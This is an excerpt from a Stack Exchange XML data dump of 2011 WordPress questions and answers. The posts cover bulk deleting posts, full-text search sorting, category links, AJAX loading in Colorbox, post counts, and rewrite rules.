  <row Id="21859" PostTypeId="1" AcceptedAnswerId="21995" CreationDate="2011-07-03T14:36:06.893" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to delete around 250 posts at once, but the next page I am taken to displays the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Request-URI Too Large&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;The requested URL's length exceeds the capacity limit for this server&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does Wordpress need to use a HTTP Post action to delete posts?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="3206" LastEditorDisplayName="" LastEditDate="2011-07-03T14:44:19.180" LastActivityDate="2011-07-05T04:21:58.183" Title="Internal Server Error 414 - Request-URI Too Large" Tags="&lt;internal-server-error&gt;" AnswerCount="2" />
  <row Id="21860" PostTypeId="2" ParentId="21857" CreationDate="2011-07-03T14:45:27.063" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;posts_per_page =&amp;gt; -1&lt;/code&gt; is equivalent to &lt;code&gt;'nopaging' =&amp;gt; true&lt;/code&gt;, which basically means no LIMIT clause is used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround is to set posts_per_page to a large number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a limitation of the LIMIT syntax itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/select.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/doc/refman/5.0/en/select.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-03T14:45:27.063" CommentCount="1" />
  <row Id="21861" PostTypeId="1" CreationDate="2011-07-03T14:49:56.063" Score="0" ViewCount="44" Body="&lt;p&gt;I'm building a custom search page and what I need is to sort results by relevancy (eg. occurences of a keyword)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html&quot; rel=&quot;nofollow&quot;&gt;MySQL docs&lt;/a&gt; I've built this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID&#xA;FROM $wpdb-&amp;gt;posts&#xA;WHERE MATCH (post_title, post_content) AGAINST ('$keyword_list')&#xA;AND post_status = 'publish'&#xA;AND post_type = 'issue'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem A)&lt;/strong&gt; If I test it using a keyword(s) that appears multiple times in my test posts, it &#xA;does find those posts, but it's not sorted correctly by relevancy. For example the first found posts has around 3 occurences of the keyword while the posts returned on 3rd place has roughly 15 occurences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem B)&lt;/strong&gt; There are two posts that contain keyword &quot;medicare&quot;, if I search for &quot;medicare&quot; it does return those posts, however when I search for &quot;medi&quot;, &quot;medic&quot; etc. it doesn't return anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to query it using MATCH/AGAINST or do I have to use LIKE % - in that case, how to sort by relevancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2011-09-01T16:38:46.760" Title="Fulltext search in posts sorted by relevancy" Tags="&lt;mysql&gt;&lt;query&gt;&lt;search&gt;&lt;sort&gt;" AnswerCount="2" />
  <row Id="21862" PostTypeId="2" ParentId="21854" CreationDate="2011-07-03T14:57:08.083" Score="1" ViewCount="" Body="&lt;p&gt;You can do that programatically via &lt;code&gt;wp_insert_attachment()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example at WP Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2011-07-03T14:57:08.083" CommentCount="1" />
  <row Id="21863" PostTypeId="1" AcceptedAnswerId="21866" CreationDate="2011-07-03T15:29:11.347" Score="0" ViewCount="68" Body="&lt;p&gt;When I echo get_permalink() in a function that's called from archive.php, it reflects the permalink of the last post that's assigned to the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I echo the permalink of the category page instead?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-03T16:30:35.770" Title="What is the_permalink() on a category page?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="21864" PostTypeId="1" AcceptedAnswerId="21867" CreationDate="2011-07-03T15:30:39.940" Score="1" ViewCount="221" Body="&lt;p&gt;I am trying to render content generated by a php file in [jQuery Colorbox][1] through AJAX in my WordPress site. The PHP resides on the same server in the same domain. It works perfect when I run it on localhost but it's not working on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to my site - &lt;a href=&quot;http://shabdcreatives.com/portfolio&quot; rel=&quot;nofollow&quot;&gt;http://shabdcreatives.com/portfolio&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links themselves are not invalid, for example the following link works fine on its own:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shabdcreatives.com/wp-content/plugins/catgrid/includes/CatGridPost.php?ID=33&quot; rel=&quot;nofollow&quot;&gt;http://shabdcreatives.com/wp-content/plugins/catgrid/includes/CatGridPost.php?ID=33&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just won't open inside the colorbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the php file I am trying to load is just a fragment and DOES NOT CONTAIN any  or  tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the colorbox support group but no replies from them yet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code in the CatGridPost.php file that i am calling in the colorbox.. i tried calling a plain text file too... it returned no error.. but the colorbox did not show its contents either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&quot;../../../../wp-blog-header.php&quot;);&#xA;$thepost = get_post($_GET[&quot;ID&quot;]);&#xA;$thecontent = $thepost-&amp;gt;post_content;&#xA;$thetitle = $thepost-&amp;gt;post_title;&#xA;$thelink = get_permalink($_GET[&quot;ID&quot;]);&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;cg-post-container&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;cg-post-title&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $thelink; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $thetitle; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;cg-post-content&quot;&amp;gt;  &#xA;    &amp;lt;?php echo $thecontent; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6705" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-03T15:49:50.017" LastActivityDate="2011-07-03T15:52:12.607" Title="Colorbox ajax loading of outside HTML content works perfect on localhost but not on server" Tags="&lt;php&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="21865" PostTypeId="2" ParentId="21861" CreationDate="2011-07-03T15:41:39.630" Score="0" ViewCount="" Body="&lt;p&gt;You may want to check the Sphinx search engine&#xA;&lt;a href=&quot;http://sphinxsearch.com/&quot; rel=&quot;nofollow&quot;&gt;http://sphinxsearch.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me about one day to set it up and learn how to use, but it does really good job with sorting by relevancy and grammar stemming. Also it is faster than fulltext search for big data sets thanks to indexing.&lt;/p&gt;&#xA;" OwnerUserId="6706" LastActivityDate="2011-07-03T15:41:39.630" />
  <row Id="21866" PostTypeId="2" ParentId="21863" CreationDate="2011-07-03T15:47:55.603" Score="1" ViewCount="" Body="&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_category_link( get_queried_object() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-03T15:47:55.603" />
  <row Id="21867" PostTypeId="2" ParentId="21864" CreationDate="2011-07-03T15:52:12.607" Score="3" ViewCount="" Body="&lt;p&gt;You should &lt;em&gt;not&lt;/em&gt; load wp-blog-header.php yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt; instead, as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-03T15:52:12.607" CommentCount="5" />
  <row Id="21868" PostTypeId="2" ParentId="10576" CreationDate="2011-07-03T16:18:39.287" Score="0" ViewCount="" Body="&lt;p&gt;for anyone else who is interested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find yourself a php script that creates a zip from a list of files provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that, use the script provided on this site: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11662/get-all-images-in-media-gallery&quot;&gt;Get All Images in Media Gallery?&lt;/a&gt;, to create the list for the archiver script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i hope this helps, at least this is the way i did it.&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2011-07-03T16:18:39.287" />
  <row Id="21869" PostTypeId="2" ParentId="21861" CreationDate="2011-07-03T16:21:14.277" Score="0" ViewCount="" Body="&lt;p&gt;Had you added FULLTEXT index to your posts table? As I understand that would be required for such searches to work correctly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-03T16:21:14.277" CommentCount="2" />
  <row Id="21870" PostTypeId="1" CreationDate="2011-07-03T16:21:40.783" Score="1" ViewCount="60" Body="&lt;p&gt;Just looking for a recommendation on the best plugin to allow javascript in a post or page.&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-07-03T18:22:14.223" Title="What's the best plugin for allowing javascript in a post or page?" Tags="&lt;plugins&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="21871" PostTypeId="2" ParentId="21863" CreationDate="2011-07-03T16:30:35.770" Score="0" ViewCount="" Body="&lt;p&gt;Here you go mate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;single_cat_title();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/single_post_title&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/single_post_title&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6612" LastActivityDate="2011-07-03T16:30:35.770" />
  <row Id="21872" PostTypeId="2" ParentId="21859" CreationDate="2011-07-03T16:39:21.513" Score="0" ViewCount="" Body="&lt;p&gt;Make a custom page template and put this code in it. It will delete as many pages as you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;&#xA;$args = array( 'numberposts' =&amp;gt; 250 );&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) :&#xA;&#xA;wp_delete_post( $post-&amp;gt;ID, true );&#xA;&#xA;endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6612" LastActivityDate="2011-07-03T16:39:21.513" />
  <row Id="21873" PostTypeId="2" ParentId="9858" CreationDate="2011-07-03T16:40:50.963" Score="1" ViewCount="" Body="&lt;p&gt;there is a widget pagination plugin available now, have a look:&#xA;&lt;a href=&quot;http://wgpag.jana-sieber.de/&quot; rel=&quot;nofollow&quot;&gt;http://wgpag.jana-sieber.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does that help you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers, jana :-)&lt;/p&gt;&#xA;" OwnerUserId="6708" LastActivityDate="2011-07-03T16:40:50.963" />
  <row Id="21874" PostTypeId="1" CreationDate="2011-07-03T17:33:59.017" Score="2" ViewCount="78" Body="&lt;p&gt;i have a wordpress site that has around 20000 post&#xA;it gets slow at generating pagination. i have traced the problem. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query($query_string .&quot;&amp;amp;posts_per_page=-1&quot;);&#xA;$total_posts = $my_query-&amp;gt;post_count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there any other faster way to get total post on a selected category.&lt;/p&gt;&#xA;" OwnerUserId="6709" LastActivityDate="2011-07-03T23:06:22.720" Title="How to get Total Post In a Selceted category" Tags="&lt;categories&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="21875" PostTypeId="2" ParentId="21874" CreationDate="2011-07-03T17:42:47.713" Score="0" ViewCount="" Body="&lt;p&gt;It seems there isn't one. The default WordPress count function does not support category posts count: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_count_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_count_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6612" LastActivityDate="2011-07-03T17:42:47.713" />
  <row Id="21876" PostTypeId="2" ParentId="21874" CreationDate="2011-07-03T17:44:15.083" Score="0" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;get_category&lt;/code&gt; : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $thisCat = get_category(get_query_var('cat'),false);&#xA;$total_posts = $thisCat-&amp;gt;count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-03T17:44:15.083" CommentCount="3" />
  <row Id="21877" PostTypeId="2" ParentId="18911" CreationDate="2011-07-03T17:52:24.993" Score="1" ViewCount="" Body="&lt;p&gt;I fought with this problem for three days, but in the end I won by using a custom query. Put this code in your taxonomy.php template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;global $post;&#xA;&#xA;$term = get_term_by('slug', $wp_query-&amp;gt;get( 'term' ), 'menu');&#xA;&#xA;$querystr = &quot;&#xA;SELECT wposts.* &#xA;FROM $wpdb-&amp;gt;posts wposts&#xA;    LEFT JOIN $wpdb-&amp;gt;term_relationships ON (wposts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;    LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON ($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;WHERE $wpdb-&amp;gt;term_taxonomy.taxonomy = 'menu'&#xA;    AND $wpdb-&amp;gt;term_taxonomy.term_id IN( $term-&amp;gt;term_id )&#xA;LIMIT 20&quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if( $pageposts ) : ?&amp;gt;&#xA;&#xA;  &amp;lt;?php foreach ( $pageposts as $post ): ?&amp;gt;&#xA;  &amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;&#xA;//Echo post title/content here.&#xA;&#xA;  &amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use the &quot;menu&quot; taxonomy, but you need to edit accordingly.&lt;/p&gt;&#xA;" OwnerUserId="6612" LastActivityDate="2011-07-03T17:52:24.993" />
  <row Id="21878" PostTypeId="2" ParentId="21870" CreationDate="2011-07-03T18:02:55.027" Score="1" ViewCount="" Body="&lt;p&gt;try this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/allow-javascript-in-posts-and-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/allow-javascript-in-posts-and-pages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-03T18:02:55.027" CommentCount="1" />
  <row Id="21879" PostTypeId="2" ParentId="21852" CreationDate="2011-07-03T18:14:36.100" Score="1" ViewCount="" Body="&lt;p&gt;This is a tricky one, there is a filter called &lt;code&gt;meta-box-order_{$page}&lt;/code&gt; where page is the name of the post type so for post you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('meta-box-order_post','one_column_for_all');&#xA;&#xA; function one_column_for_all($result, $option, $user){&#xA;    $result['normal'] = 'postexcerpt,formatdiv,submitdiv,trackbacksdiv,tagsdiv-post_tag,categorydiv,postimagediv,postcustom,commentstatusdiv,slugdiv,authordiv';&#xA;    $result['side'] = '';&#xA;    $result['advanced'] = '';&#xA;    result $result;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is untested!!! but should work.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-03T18:14:36.100" CommentCount="3" />
  <row Id="21880" PostTypeId="2" ParentId="21870" CreationDate="2011-07-03T18:22:14.223" Score="2" ViewCount="" Body="&lt;p&gt;Or, you could just give users the 'unfiltered_html' capability. This can be done with a plugin such as &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; don't allow untrusted users to insert random scripts into the post content. With JavaScript, they can steal HTTP cookies from other users, including yourself, giving them administrator rights, basically.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-03T18:22:14.223" CommentCount="1" />
  <row Id="21881" PostTypeId="2" ParentId="19084" CreationDate="2011-07-03T19:49:21.713" Score="0" ViewCount="" Body="&lt;p&gt;Find the list-item where the comment content is located(usually in comments.php) and add the following in the class-tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;if (1 == $comment-&gt;user_id)&lt;br /&gt;echo 'author';&lt;br /&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now style the css-class .author!&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-03T19:49:21.713" />
  <row Id="21882" PostTypeId="1" CreationDate="2011-07-03T20:12:07.980" Score="0" ViewCount="64" Body="&lt;p&gt;I have the following issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a custom-meta-box for the user to add custom fields in a friendly way.&lt;br&gt;&#xA;I want to generate a drop-down box with all posts that fall under category 10.&lt;br&gt;&#xA;I have created a loop inside the functions file for retrieving the posts I want and to create a dropdown select list.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I go to admin -&gt; posts and select a post to edit, I get the following issue:&lt;br&gt;&#xA;the last post will load no matter which one I select.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code used inside the functions file and then called when generating the html code for the custom meta-box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_project_ids($proj_cat = 10) {&#xA;&#xA;$output = '';&#xA;&#xA;$catt = get_categories('parent='.$proj_cat.'&amp;amp;hide_empty=0');&#xA;&#xA;    foreach ($catt as $c) :&#xA;&#xA;        $output .= '&amp;lt;optgroup label=&quot;'.$c-&amp;gt;name.'&quot;&amp;gt;';&#xA;        $d = get_categories('parent='.$c-&amp;gt;cat_ID.'&amp;amp;hide_empty=0');&#xA;&#xA;            foreach ($d as $e) :&#xA;            $output .= '&amp;lt;optgroup label=&quot;'.$e-&amp;gt;name.'&quot;&amp;gt;';&#xA;&#xA;                $args = array( 'nopaging' =&amp;gt; true, 'cat' =&amp;gt; $e-&amp;gt;cat_ID );&#xA;                $project_query = new WP_Query( $args );&#xA;&#xA;                    while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;                        $project_id = (get_post_meta($post-&amp;gt;ID, 'project_code', true) != &quot;&quot;)?get_post_meta($post-&amp;gt;ID, 'project_code', true):&quot;&quot;;&#xA;                        $output .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot;&amp;gt;'.$project_id.'-'.get_the_title().'&amp;lt;/option&amp;gt;';    &#xA;                    endwhile; &#xA;&#xA;                wp_reset_postdata();&#xA;                $wp_query = null;&#xA;                $wp_query = $original_query;&#xA;&#xA;            $output .= '&amp;lt;/optgroup&amp;gt; &amp;lt;!-- END level-b --&amp;gt;';&#xA;        endforeach;&#xA;&#xA;        $output .= '&amp;lt;/optgroup&amp;gt; &amp;lt;!-- END level-a --&amp;gt;';&#xA;    endforeach;&#xA;&#xA;return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6379" LastEditorUserId="6379" LastEditorDisplayName="" LastEditDate="2011-07-05T00:03:12.510" LastActivityDate="2011-09-03T03:40:45.960" Title="Using the loop inside admin" Tags="&lt;wp-admin&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
  <row Id="21883" PostTypeId="2" ParentId="19084" CreationDate="2011-07-03T20:12:54.157" Score="1" ViewCount="" Body="&lt;p&gt;Why not use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( user_can( $comment-&amp;gt;user_id, 'administrator' ) ) {&#xA;     // current comment is from an administrator;&#xA;     // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for putting the admin comments at the top of the comment list, you would have to modify the comment query itself.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-03T20:12:54.157" />
  <row Id="21884" PostTypeId="2" ParentId="6324" CreationDate="2011-07-03T20:24:00.727" Score="0" ViewCount="" Body="&lt;p&gt;Now, you can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/bbpress/&quot; rel=&quot;nofollow&quot;&gt;bbPress Plugin&lt;/a&gt;, which is currently in beta-release.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-03T20:24:00.727" />
  <row Id="21886" PostTypeId="2" ParentId="19907" CreationDate="2011-07-03T20:40:12.850" Score="0" ViewCount="" Body="&lt;p&gt;to help you with your question, I have a suggestion. Let's use the &lt;code&gt;first-footer-widget-area&lt;/code&gt; present in the default Twenty Ten template &lt;code&gt;sidebar-footer.php&lt;/code&gt; file like an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a good practice and secure, firstly backup it to avoid headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original Twenty Ten template code for presenting first footer widget is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_active_sidebar( 'first-footer-widget-area' ) ) : ?&amp;gt;&#xA;       &amp;lt;div id=&quot;first&quot; class=&quot;widget-area&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;            &amp;lt;?php dynamic_sidebar( 'first-footer-widget-area' ); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&amp;lt;!-- #first .widget-area --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's change, adding some code with conditionals to limit the number of widgets allowed in that area.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_active_sidebar( 'first-footer-widget-area' ) ) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;first&quot; class=&quot;widget-area&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;           $mysidebars = wp_get_sidebars_widgets();&#xA;           $total_widgets = count( $mysidebars['first-footer-widget-area'] );&#xA;           $limit_allowed=2;&#xA;    ?&amp;gt;&#xA;        &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;            &amp;lt;?php  if ($total_widgets &amp;gt; $limit_allowed) {&#xA;                echo 'Your '.$total_widgets.' added widgets goes over the allowed limit: &amp;lt;strong&amp;gt;'.$limit_allowed.'&amp;lt;/trong&amp;gt;';&#xA;                } else { ?&amp;gt;&#xA;            &amp;lt;?php dynamic_sidebar( 'first-footer-widget-area' ); ?&amp;gt;&#xA;          &amp;lt;?php }; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #first .widget-area --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this modified code does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mysidebars = wp_get_sidebars_widgets();&#xA;$total_widgets = count( $mysidebars['first-footer-widget-area'] );&#xA;$limit_allowed=2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;count the number of widgets in that side bar and stablish some allowed limit (setten by you).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;?php  if ($total_widgets &amp;gt; $limit_allowed) {&#xA;            echo 'Your '.$total_widgets.' added widgets goes over the allowed limit: &amp;lt;strong&amp;gt;'.$limit_allowed.'&amp;lt;/trong&amp;gt;';&#xA;       } else { ?&amp;gt;&#xA;            &amp;lt;?php dynamic_sidebar( 'first-footer-widget-area' ); ?&amp;gt;&#xA;&amp;lt;?php }; ?&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the the limit allowed for widgets in that area was reached then it will be show a message warning that limit else the widget will be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I hope I have helped with your question. &lt;/p&gt;&#xA;" OwnerUserId="6691" LastEditorUserId="6691" LastEditorDisplayName="" LastEditDate="2011-07-03T20:45:48.730" LastActivityDate="2011-07-03T20:45:48.730" />
  <row Id="21887" PostTypeId="1" CreationDate="2011-07-03T20:54:45.420" Score="0" ViewCount="35" Body="&lt;p&gt;I have a script that I wrote some time ago, and have just decided to &quot;port&quot; it into a WP plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works great, except for one piece of vital core functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script uses mod_rewrite to allow for virtual URLs to be used, that include a &quot;keyword&quot; that the script then uses later for other functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, it allows for URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/page-name/my-keyword/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will then use &quot;page-name&quot; to generate the actual page content, and &quot;my-keyword&quot; is passed to other functions in the script for other purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If WP is on default permalinks, then everything works just fine.  But as soon as &quot;pretty permalinks&quot; are in use, my rewrite rules conflicts with the WP rules, and this feature ceases to work.  WP instead generates a 404 as you would probably expect, since the requested page URL doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a way to have custom permalinks enabled, such as /%postname%/ for example, but still be able to add information after the post name in the URL.  My original script could even do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/page-name/bunch/of/stuff/can-go/in/here/and/will/be/ignored/my-keyword/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it would still use &quot;page-name&quot; for the content, and &quot;my-keyword&quot; as the keyword, ignoring everything between.  I would like this functionality with WP as well but as yet have not been able to figure out the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my script's original rewrite code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /wp&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule ^.*$ - [S=44]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^.*$ - [S=44]&#xA;RewriteRule ^(.*)$ index.php?k=$1&amp;amp;%{QUERY_STRING}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is what WP generates by default when I set my permalinks to /%postname%/:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /wp/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /wp/index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would prefer to not require the user to do any htaccess editing, handling this instead through my plugin itself if possible.  Have gotten close but not quite there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;" OwnerUserId="6712" 